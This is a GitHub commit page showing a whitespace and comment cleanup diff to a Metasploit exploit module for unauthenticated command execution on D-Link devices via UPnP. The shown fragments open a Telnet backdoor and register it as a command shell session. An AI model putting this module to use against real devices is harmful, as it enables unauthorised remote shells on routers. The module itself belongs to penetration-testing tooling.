Skip to content

Commit 9f65264

Browse files
author
m-1-k-3
committed
make msftidy happy
1 parent 47ca4fd commit 9f65264

File tree

1 file changed

+11
-12
lines changed

1 file changed

+11
-12
lines changed

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 11 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def initialize(info = {})
5858
'Platform' => 'unix'
5959
}
6060
],
61-
[ 'Telnet', #all devices, use a netcat bind payload for getting a valid session
61+
[ 'Telnet', #all devices
6262
{
6363
'Arch' => ARCH_CMD,
6464
'Platform' => 'unix'
@@ -144,7 +144,6 @@ def request(cmd, type, new_external_port, new_internal_port, new_portmapping_des
144144
end
145145

146146
def exploit
147-
handler
148147
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
149148

150149
new_portmapping_description = rand_text_alpha(8)
@@ -221,21 +220,21 @@ def exploit
221220
}
222221
#taken from ./lib/msf/core/auxiliary/commandshell.rb
223222
info = "TELNET (#{rhost}:#{telnetport})"
224-
sess = Msf::Sessions::CommandShell.new(sock)
223+
sess = Msf::Sessions::CommandShell.new(sock)
225224
sess.set_from_exploit(self)
226-
sess.info = info
225+
sess.info = info
227226

228-
# Clean up the stored data
229-
sess.exploit_datastore.merge!(merge_me)
227+
# Clean up the stored data
228+
sess.exploit_datastore.merge!(merge_me)
230229

231-
# Prevent the socket from being closed
232-
self.sockets.delete(sock)
233-
self.sock = nil if self.respond_to? :sock
230+
# Prevent the socket from being closed
231+
self.sockets.delete(sock)
232+
self.sock = nil if self.respond_to? :sock
234233

235-
framework.sessions.register(sess)
236-
sess.process_autoruns(datastore)
234+
framework.sessions.register(sess)
235+
sess.process_autoruns(datastore)
237236

238-
sess
237+
sess
239238
rescue
240239
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
241240
end

0 commit comments

Comments
 (0)